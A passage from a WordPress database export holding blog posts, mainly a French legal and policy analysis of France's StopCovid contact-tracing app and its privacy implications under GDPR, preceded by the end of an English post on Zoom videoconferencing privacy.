href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/data-protection-commissioner-of-ireland/&amp;usg=ALkJrhi9Jb2JyerCKcuopWGH77wZYYNulA\"><strong>Data Protection Commission Ireland</strong></a>. In light of the recent increase in remote working, necessitated by COVID-19 mitigation measures, as well as the increased numbers keeping in touch online with friends and family, the number of people video-conferencing and video-calling has increased dramatically. This has also resulted in people using apps and services which they might not have used before, or are now using for different reasons – ie using an app they usually use for personal purposes now for work purposes or vice versa. Concerns have been raised about how to use these technologies to keep in touch with colleagues and loved ones in a way that is safe and secure, and ensures an adequate standard of data protection.Here are some tips to help both individuals and organizations (such as employers who might introduce new or increased videoconferencing arrangements for employees) use these services in a safe manner:<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://lnkd.in/e8mpd8n&amp;usg=ALkJrhhK9QmV_SWs00jBbpi9o4y4o6EY8A\" target=\"_blank\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=http://creativecommons.org/licenses/by/4.0/&amp;usg=ALkJrhhlCHDdIskVLuBz-aYeLh0JgcYicA\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>&nbsp;.POSTED IN:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/consent/&amp;usg=ALkJrhjQqCy_4ECg_ioGRT3bkIXG0zRWRA\">CONSENT</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/data-protection/&amp;usg=ALkJrhj1fXnqBuv0VEmmqWEl7bFFmHkiRw\">DATA PROTECTION</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/gdpr/&amp;usg=ALkJrhjsJ2a5Vu5OVwai3wPuh4w58NzUAQ\">GDPR</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/privacy/&amp;usg=ALkJrhgYsHxOBfzThHiIDQAMssqFEpzNGA\">PRIVACY</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/privacy-notice/&amp;usg=ALkJrhjvDLFpjGfSXlG4OpAEFjdAfgDEog\">PRIVACY NOTICE</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/category/tara-taubman-bassirian/&amp;usg=ALkJrhj-_eysplF57Qim2AwXrcoZfBIZhA\">TARA TAUBMAN-BASSIRIAN</a>&nbsp;FILED UNDER:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/tag/video-conferencing/&amp;usg=ALkJrhhjzPhmtFc4kmyjQ8l_kH6L_tDzgQ\">VIDEO-CONFERENCING</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/tag/zoom/&amp;usg=ALkJrhhwMu95nf7OIL2X-UfQI-XDCJqCGA\">ZOOM</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Photo by Geoff LowePOSTED IN:&nbsp;<a href=\"https://datarainbow.eu/category/consent/\">CONSENT</a>,&nbsp;<a href=\"https://datarainbow.eu/category/data-protection/\">DATA PROTECTION</a>,&nbsp;<a href=\"https://datarainbow.eu/category/gdpr/\">GDPR</a>,&nbsp;<a href=\"https://datarainbow.eu/category/privacy/\">PRIVACY</a>,&nbsp;<a href=\"https://datarainbow.eu/category/privacy-notice/\">PRIVACY NOTICE</a>,&nbsp;<a href=\"https://datarainbow.eu/category/tara-taubman-bassirian/\">TARA TAUBMAN-BASSIRIAN</a>&nbsp;FILED UNDER:&nbsp;<a href=\"https://datarainbow.eu/tag/encryption/\">ENCRYPTION</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/liability/\">LIABILITY</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/privacy/\">PRIVACY</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/security/\">SECURITY</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/videconferencing/\">VIDECONFERENCING</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/zoom/\">ZOOM</a>,&nbsp;<a href=\"https://datarainbow.eu/tag/zoombombing/\">ZOOMBOMBING</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>POST NAVIGATION</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://datarainbow.eu/2020/04/07/601/\">← ZOOM VISIO-CONFÉRENCE POUR LES JURISTES</a><a href=\"https://datarainbow.eu/2020/04/29/stop-covid-combattre-la-pandemie-sans-perdre-la-democratie/\">STOP-COVID COMBATTRE LA PANDÉMIE SANS INFECTER LA DÉMOCRATIE →</a>Copyright © 2020 DataRainbow — Stout WordPress theme by&nbsp;<a href=\"https://www.godaddy.com/\">GoDaddy</a></p>\n<!-- /wp:paragraph -->','ZOOM VIDEOCONFERENCING PRIVACY AND LIABILITY','A Look At The Many Considerations to Keep in Mind Before Using A Video Conferencing Technology .','inherit','closed','closed','','893-revision-v1','','','2020-05-05 10:46:19','2020-05-05 09:46:19','',893,'https://datarainbow.eu/2020/05/05/893-revision-v1/',0,'revision','',0),(896,5,'2020-05-05 10:56:26','2020-05-05 09:56:26','<!-- wp:paragraph -->\n<p>Ce mardi 28 Avril 2020, le Premier Ministre Edouard Philippe a été entendu\ndevant le Sénat notamment pour le projet STOP-COVID préparant la sortie du\nconfinement imposé par la pandémie du COVID-19</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’<a href=\"https://lnkd.in/dTgWHuB\">INRIA</a> a développé le\nprotocole \"<a href=\"https://www.inria.fr/sites/default/files/2020-04/Présentation%20du%20protocole%20Robert.pdf\">Robert</a>\"- <em>ROBust and privacy-presERving proximity\nTracing protocol</em>- associé avec des acteurs publics et privés (ANSSI,\nCapgemini, Dassault Systèmes, Inserm, Lunabee Studio, Orange, Santé Publique\nFrance, Withings). Voir <a href=\"https://github.com/ROBERT-proximity-tracing/documents\">le détail du projet</a> disponible sur GitHub.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>I) Un programme commandé par un état démocratique\npour tenter de «&nbsp;tracer&nbsp;» les déplacements de ses citoyens</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce projet devrait servir de base technique à l’application “StopCovid”\nfrançaise. Un projet qui suscite beaucoup de controverses, à la fois techniques\net éthiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>Le projet retenu par le gouvernement est le modèle\ncentralisé de traçage des contacts à l’aide d’une application sur téléphones\nmobiles par Bluetooth expliqué plus en détail ci-après.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IA)-La\npandémie&nbsp;COVID et sa vitesse de propagation impose sans contestation\njustifiée une réponse forte, rapide et adaptée aux technologies, à disposition\ndu gouvernement.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’économie\ndu pays a été mise à mal par le confinement, notamment contraint par des difficultés\nrévélées a posteriori sur l’état stratégique des stocks de masques\n«&nbsp;barrières&nbsp;», qui perdure depuis plusieurs semaines. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nconfinement a pu être durement vécu par les catégories sociaux-économiques les\nplus défavorisées ou celles subissant un regroupement imposé dans des habitats\ninadaptés. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les cas de violences domestiques sont en <a href=\"https://www.lemonde.fr/societe/article/2020/03/30/hausse-des-violences-conjugales-pendant-le-confinement_6034897_3224.html\">nette recrudescence</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nnombre de cas de contamination est resté en constante augmentation et le corps\nmédical au bord de la crise de nerf s’est révélé d’une exemplaire dévotion. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On se\nsouviendra que dès avant la pandémie les hôpitaux étaient déjà en grève\nprotestant de leur manque de moyens et surcharges de travail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IB)-L\'impérieuse\nnécessité de généraliser des moyens de traçage comme mesure utile parmi toutes\ncelles conseillées au gouvernement par le Haut Conseil de la Santé Publique, composé\nprincipalement de sommités médicales, et donc nécessaire pour tenter de\nrépondre à la propagation erratique de cette pandémie malgré l’atteinte que\ncette méthode à la règlementation.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il est ainsi apparu nécessaire, suivant les exemples de <a href=\"https://www.huffingtonpost.fr/entry/la-chine-lance-une-appli-pour-tracer-les-malades-du-coronavirus_fr_5e42b411c5b6bb0ffc18acfe\">la Chine</a>, de <a href=\"https://video.corriere.it/ce7597cc-6dcb-11ea-9b88-27b94f5268fe/ce7597cc-6dcb-11ea-9b88-27b94f5268fe?refresh_ce-cp\">la Corée du Sud</a> ou de <a href=\"https://www.cnet.com/news/singapores-coronavirus-playbook-how-one-country-fought-back-against-covid19-epidemic/\">Singapour</a>, de prendre des mesures de relâchement du confinement en «&nbsp;traçant&nbsp;» les cas de contacts pour éviter de dire «&nbsp;tracker&nbsp;» les citoyens. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Au nom de la démocratie, refusant les methodes de régimes totalitaires, il est vite apparu nécessaire que le traçage soit volontaire et non imposé. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le géotagging\ncomme mis en place par Orange Telecom a montré les déplacements de population\nvers des zones non urbains dès l’annonce du confinement. Certaines iles de\nl’Ouest de la France ont vu leur population augmentée de 30%. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La\ngéolocalisation par GPS ne peut être anonymisée car trop souvent l’adresse\nd’habitation révèle l’identité de la personne. Est alors apparue la nécessité\nde rechercher une solution plus conforme. Lire&nbsp;: «&nbsp;<a href=\"https://www.lci.fr/high-tech/coronavirus-huit-operateurs-europeens-dont-orange-vont-fournir-les-donnees-de-localisation-de-leurs-clients-2149157.html\">Coronavirus : huit opérateurs européens,\ndont Orange, vont fournir les données de localisation de leurs clients&nbsp;</a>».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nContrôleur européen de la protection des données CEPD a publié fin mars des\ncommentaires sur le projet de la Commission européenne de collecter massivement\nles métadonnées des télécommunications pour lutter contre la pandémie de\nCOVID-19. Points clés :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>indique que les données seront anonymisées. Le CEPD\nsouligne qu\'une anonymisation efficace \"<em>nécessite plus que la simple\nsuppression des identifiants évidents tels que les numéros de téléphone et les\nnuméros IMEI</em>\". L\'agrégation est une garantie supplémentaire ;</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>II)-Comment répondre à la pandémie par des\nsolutions respectueuses des valeurs démocratiques</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La présidente de la CNIL, Mme Denis a été entendue par le Parlement puis\npar le Sénat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Tout en reconnaissant la\nlégitimité des objectifs poursuivis par le projet, la Commission tient à\nrappeler, au vu de l’urgence, que quel que soit le contexte, des garanties\nsuffisantes au regard du respect des principes fondamentaux du droit à la\nprotection des données à caractère personnel doivent être mises en œuvre.\nAinsi, elle estime que des mesures juridiques et techniques adaptées devront\nêtre prévues afin d’assurer un haut niveau de protection des données.&nbsp;</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>La Commission indique par\nailleurs que cet avis rendu dans un délai très bref et dans un contexte de\ncrise sanitaire mondiale exceptionnelle, ne préjuge en rien de l’analyse\nqu’elle produira au fond tant sur les plans juridique que technique, s’agissant\nde la mise en œuvre de manière pérenne de la Plateforme des données de\nsanté, notamment à des fins de mise à disposition des données du Système\nnational des données de santé (SNDS), ainsi que sur le décret d’application\nprévu à l’article L. 1461-7 du code de la santé publique, qui sera modifié\nsuite à l’adoption de la loi du 24 juillet 2019.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.dalloz-actualite.fr/sites/dalloz-actualite.fr/files/resources/2020/04/2020.04.23_covid19_cnnum.pdf\">Conseil National du Numerique CNNum</a>, après consultation de plusieurs\norganisations dont la CNIL, a rendu son avis favorable &nbsp;le 20 avril. Le Conseil émet 15\nrecommandations reprises par le <a href=\"https://www.numerama.com/politique/620548-stopcovid-que-conseille-le-cnnum-pour-rendre-lapplication-acceptable.html\">Numerama</a>, pour rendre l\'application StopCovid acceptable.\nL\'instance consultative se dit favorable à l\'emploi d\'un tel programme : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>«&nbsp;​Ce type d’application n’est qu’une partie de la\nréponse sanitaire ​dont l’efficacité dépendra sûrement plus des mesures de\ndistanciation sociale et de la mise à disposition de tests&nbsp;»</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Il\nest intéressant de trouver parmi les recommandations : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité l’application n’a aucune fonction de cure mais mise plutôt sur\nl’altruisme des utilisateurs à vouloir prévenir ceux avec qui ils seraient\nentrés en contact dans l’hypothèse d’un diagnostic COVID positif.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>Le coût\nde cet altruisme va être un téléphone sous connexion Bluetooth permanente qui\ndrainera la batterie et mettra la </a><a href=\"https://www.cyberscoop.com/bluetooth-exploit-jan-ruge-contact-tracing/\">sécurité des données personnelles\naccessibles</a> à\npartir du téléphone en danger – va-t-on assister à une nouvelle épidémie de\n‘poches en feu’&nbsp;du à la <a href=\"https://www.androidpit.com/phone-overheating\">chauffe\ndes batteries</a> ? </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Aussitôt après l’avis du CNNum, dès le dimanche 26 avril <a href=\"https://www.cnil.fr/fr/publication-de-lavis-de-la-cnil-sur-le-projet-dapplication-mobile-stopcovid\">la CNIL a publié un nouvel avis</a> à lire entre les lignes. Pour la CNIL qui\nne s’oppose pas au principe, il est important que l’adoption soit volontaire,\nque les données soient pseudonymisées, l’anonymisation ne pouvant être garantie\net donc le RGDP s’appliquera, que la collecte soit limitée au stricte nécessaire\ns’assurant qu’aucune donnée ne sera conservée après la période d’urgence. Au-delà\nde tout le principe de proportionnalité et nécessité doivent présider au choix\nde l’opération.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>L’analyse du protocole\ntechnique par la Commission confirme cependant que l’application traitera bien\ndes données personnelles et sera soumise au RGPD. Elle attire l’attention sur\nles risques particuliers, notamment de banalisation, liés au développement\nd’une application de suivi qui enregistre les contacts d’une personne, parmi\nles autres utilisateurs de l’application, pendant une certaine durée.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Dans son <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/deliberation_du_24_avril_2020_portant_avis_sur_un_projet_dapplication_mobile_stopcovid.pdf\">avis du 24 Avril</a>, la CNIL &nbsp;appelait à la vigilance et\nsoulignait que l’application ne pouvait être déployée que si son utilité était\nsuffisamment avérée et si elle était intégrée dans une stratégie sanitaire\nglobale. Elle demandait certaines garanties supplémentaires. Elle insistait sur\nla nécessaire sécurité du dispositif, et faisait des préconisations techniques.\nLa CNIL rappelait surtout que l’utilisation d’applications de recherche des\ncontacts doit s’inscrire dans une stratégie sanitaire globale et appelait, sur\nce point, à une vigilance particulière contre la tentation du « <em>solutionnisme\ntechnologique</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Auditionnée par le Sénat le mercredi 15 avril, la présidente de la CNIL, <a href=\"https://www.publicsenat.fr/article/parlementaire/tracking-la-cnil-pointe-les-nombreuses-limites-de-l-application-stop-covid\">Marie-Laure Denis</a>, demandait au gouvernement que l’application de\ntraçage des malades du Covid-19 soit réellement «&nbsp;temporaire&nbsp;». Mais\nentre le peu d’équipement des personnes âgées, l’adhésion au dispositif et sa\ncombinaison avec les tests et masques, c’est son efficacité qui pose question.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Marie-Laure Denis souligne l’importance de bien définir «&nbsp;les\nfinalités&nbsp;» des objectifs, qui doivent rester «&nbsp;proportionnées&nbsp;»\nà leur atteinte. A savoir, «&nbsp;les solutions les moins intrusives&nbsp;» et\nselon «&nbsp;un caractère temporaire&nbsp;», «&nbsp;point essentiel&nbsp;».</em><em></em></li><li><em>«&nbsp;Il faut vraiment que sa durée n’excède pas la durée nécessaire au\ntraitement de la crise sanitaire&nbsp;» insiste la présidente de la Cnil, avec\n«&nbsp;une suppression de données&nbsp;». Il est ainsi «&nbsp;important qu’on\npuisse désinstaller l’appli. Ça rejoint la question du consentement&nbsp;».</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le Président du <a href=\"https://edps.europa.eu/about-edps/members-mission/supervisors_en\">European Data Protection Supervisor</a> invité par le Sénat, a adressé ses <a href=\"https://edps.europa.eu/sites/edp/files/publication/20-04-27_edps_remarks_fr_senate_en.pdf\">remarques</a> dans la soirée du 27 avril, abondant dans le sens de la CNIL et appelant à la prudence et réserves quant à l’opportunité de recourir à une mesure de traçage des populations. Insistant sur le fait que ces mesures, si elles étaient justifiées, devraient être confinées et limitées à la période d’urgence. Il rappelle par ailleurs l’importance d’une mesure commune pan-européenne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>UPDATE : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cncdh.fr/fr/publications/avis-sur-le-suivi-numerique-des-personnes\">Avis sur le suivi numérique des personnes</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La Commission nationale consultative des droits de l’homme (CNCDH) s’est autosaisie pour alerter les pouvoirs publics sur les dangers pour les droits fondamentaux de toute application de suivi de personnes et des contacts, en particulier sur le droit à la vie privée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si les avis d\'experts ont insisté sur le caractère optionnel de l\'utilisation de l\'application, s\'agissant de données de santé à caractère \'special\' au sens de l\'Art.9 [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] du RGDP, le consentement expresse est requis. Quid des employés utilisant l\'application à la demande de leur employeur sachant que le consentement ne peut être libre et admis dans le cadre des relations du travail ou l\'employeur dispose d\'un pouvoir de dissuasion ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IIA)-En l’absence d\'un système de santé cohérent et préparé à une pandémie de celle du COVID, la fin peut-elle justifier les atteintes à la vie privée&nbsp;?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La question majeure ici est de savoir si la protection des données collectées peut être d’une part garantie et d’autre part, permettre d’atteindre le but poursuivi.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A ce niveau de vitesse de propagation du virus en considération du nombre\ndéjà important de sujets infectés, malades ou porteurs sains, il est difficile\nde voir comment le traçage des contacts pourrait apporter ce que le port de masques,\nle lavage des mains, la prise de température à l’aide d’inoffensifs thermomètres\nou mieux encore, les tests de dépistages ne pourraient apporter sans poser de\nmenace quelconque sur la vie privée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Au surplus, la Présidente de la CNIL a rappelé une <a>étude de l’université\nd’Oxford qui semble affirmer que le succès d’un tel traçage ne pourrait être\neffectif que si au moins 60% de la population optaient pour son application.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IIB)-La proportionnalité et la durée prévue pour\nce «&nbsp;traçage&nbsp;» démocratisé pour l’occasion devront être effectivement\nassortis de garanties très sérieuses pour lesquelles les institutions et\nautorités de surveillance des violations du RGPD se sont toutes mobilisées.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>a)-Regardons plus en détail les promesses des\nconcepteurs de cette application.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout d’abord, le gouvernement qui a rejeté le projet décentralisé <a href=\"https://www.apple.com/covid19/contacttracing\">d’Apple et de Google</a>, pour notamment des raisons de souveraineté que\nl’on comprend aisément, a du mal à obtenir leur collaboration. Cette position\nn’est pas simplement une position de mauvaise foi, en effet, l’ouverture de l’accès\nBluetooth met en danger les données personnelles des utilisateurs de\nsmartphones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En préliminaire, sachant que la propagation peut se faire par contact de\nquelques mètres, probablement jusqu’à 4 m, la mesure des distances par Bluetooth\na ses limites et manque de précision. Le Bluetooth pourrait transpercer des barrières\nque le virus ne transpercerait ou à l’inverse, le Bluetooth pourrait être\nobstrué par des barrières qui laisseraient le virus s’épendre. <a href=\"https://www.nu.nl/tech/6046965/bluetoothuitvinder-gebruik-bluetooth-voor-corona-app-niet-erg-nauwkeurig.html\">Aux dires de l’inventeur meme du Bluetooth</a>, cet instrument de mesure n’est pas suffisamment\nfiable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un certain nombre de spécialistes en cryptographie, sécurité ou droit des\ntechnologies ont soulevé de sérieuses réserves sur les multiples abus,\ndétournements et autres comportements malveillants qui pourraient émerger de ce\ntype de système. Voir à cet effet l’analyse d’impact publié par le Forum <a href=\"https://www.fiff.de/dsfa-corona-file-en/at_download/file\">InformatikerInnen für Frieden und\ngesellschaftliche Verantwortung (FIfF) e. V</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>b)-Par ailleurs, le fonctionnement du système\nimplique un accès permanent à la fonction de Bluetooth,</strong> ce qu’empêche iOS, le système\nd’exploitation mobile d’Apple, pour <a href=\"https://t.co/83EBI7LTg0?amp=1\">des raisons de confidentialité</a> et de gestion énergétique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le secrétaire d’Etat lui-même n’a pas manqué de rappeler que les iPhones\nreprésentent 20% des mobiles en France, admettant que l’application StopCovid\nne pourra pas fonctionner correctement sur le mobile d’Apple. Il annonce avoir\ndemandé une dérogation spécifique au fabricant pour offrir au gouvernement un\naccès spécifique aux fonctions des iPhone. Une demande qui n’a pour le moment\npas abouti.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pour ce qui est des téléphones Android, plusieurs des dernières versions\nlimitent <a href=\"https://www.bfmtv.com/tech/coronavirus-comment-le-bluetooth-pourrait-aider-a-enrayer-l-epidemie-1886180.html\">l’usage du Bluetooth</a>. Par ailleurs, les smartphones iOS et\nAndroid, afin de gérer l’utilisation de leur mémoire vive, sont programmés pour\n“éteindre” les applications utilisées en arrière-plan, telle que pourrait\nl’être StopCovid, notamment sur les appareils les moins puissants. Un problème\nque le gouvernement devra également solutionner sans l’aide d’Apple et Google,\nles seuls à avoir la main sur les écosystèmes iOS et Android.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.numerama.com/tech/620777-stopcovid-dans-limpasse-cedric-o-confirme-que-la-france-se-lance-dans-un-bras-de-fer-avec-apple.html\">Numerama\nrapporte</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>‘</em><em>Cédric O a confirmé que la\nFrance choisissait le bras de fer avec Apple pour obtenir un passe-droit sur le\nBluetooth, au risque de mettre en danger la vie privée des utilisatrices et\nutilisateurs d\'iPhone. Sans cela, StopCovid ne fonctionnera pas.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.numerama.com/tech/620409-google-et-apple-detaillent-leur-contact-tracing-toujours-incompatible-avec-stopcovid.html\">Google\net Apple détaillent leur outil de contact tracing, toujours incompatible avec\nStopCovid</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>Apple et Google ont précisé les évolutions\napportées à leur interface de programmation permettant de faire du contact\ntracing par application. Sécurisée et personnalisable, elle ne permettra\npourtant pas aux États de greffer un protocole maison complet par dessus.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>c)- Les applications de traçage doivent pouvoir\névaluer précisément la distance d’une personne.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il est à craindre que de fausses alertes puissent être détectées notamment\nà travers un mur. Cette margine d’erreur représente en soi un danger notamment\npour des personnes âgées ou présentant des pathologies préexistantes, tant sur\nle point de la santé que l’impact socio-économique d’un tel signalement abusif.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>d)- Il faut néanmoins s’attendre à des\ndétournements d’une telle technologie</strong>, quels que soient les détails de sa mise en œuvre et les garanties\npromises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.laquadrature.net/2020/04/14/nos-arguments-pour-rejeter-stopcovid/\">La Quadrature du Net</a>, de son coté, n’a pas manqué d’alerter les pouvoirs publics sur les risques inhérents à ce type de surveillance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>III- La question majeure est ici de savoir si la\nprotection des données collectées peut être d’une part garantie et d’autre\npart, permettre d’atteindre le but poursuivi.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Les différents\nsystèmes existants&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.huffingtonpost.fr/entry/la-chine-lance-une-appli-pour-tracer-les-malades-du-coronavirus_fr_5e42b411c5b6bb0ffc18acfe\">Le système Chinois basé sur la géolocalisation</a></li><li><a href=\"https://github.com/DP-3T/documents\">Le protocole DP3T</a> (sous diverses variantes), sa déclinaison par l’alliance <a href=\"https://www.apple.com/covid19/contacttracing\">Apple/Google</a> , <a href=\"https://www.zdnet.fr/actualites/dp3t-pact-et-consorts-les-protocoles-de-contact-tracing-se-multiplient-39902703.htm\">Le protocole PACT- Est</a> , </li><li><a href=\"https://pact.mit.edu/\">Le protocole PACT-Ouest</a> , </li><li><a href=\"https://github.com/TCNCoalition/TCN\">Le protocole TCN</a> , </li><li><a href=\"https://www.zdnet.fr/actualites/l-inria-degaine-robert-son-protocole-pour-le-contact-tracing-39902499.htm\">Le protocole ROBERT</a> .&nbsp;</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:image {\"id\":719} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/COVID_PEPP.png\" alt=\"\" class=\"wp-image-719\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Les acronymes de\nla plupart des systèmes mentionnés précédemment promettent de «<em>respecter la\nvie privée des utilisateurs</em>». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La différence majeure réside entre les systèmes centralisés ou non centralisés. «&nbsp;<em>Dans une approche décentralisée, ces opérations sont réalisées sur l’appareil de l’utilisateur et les informations transmises au serveur central sont limitées au maximum. Dans le cas d’un protocole décentralisé comme DP3T par exemple, les utilisateurs génèrent eux même les crypto-identifiants sur les téléphones et les échangent via bluetooth lors d’une interaction prolongée. Lorsqu’un utilisateur est infecté, il déclare auprès du serveur central la liste des identifiants rencontrés récemment. Les autres utilisateurs vont périodiquement télécharger depuis le serveur central cette liste d’identifiants ayant rencontré une personne infectée et comparer avec la liste 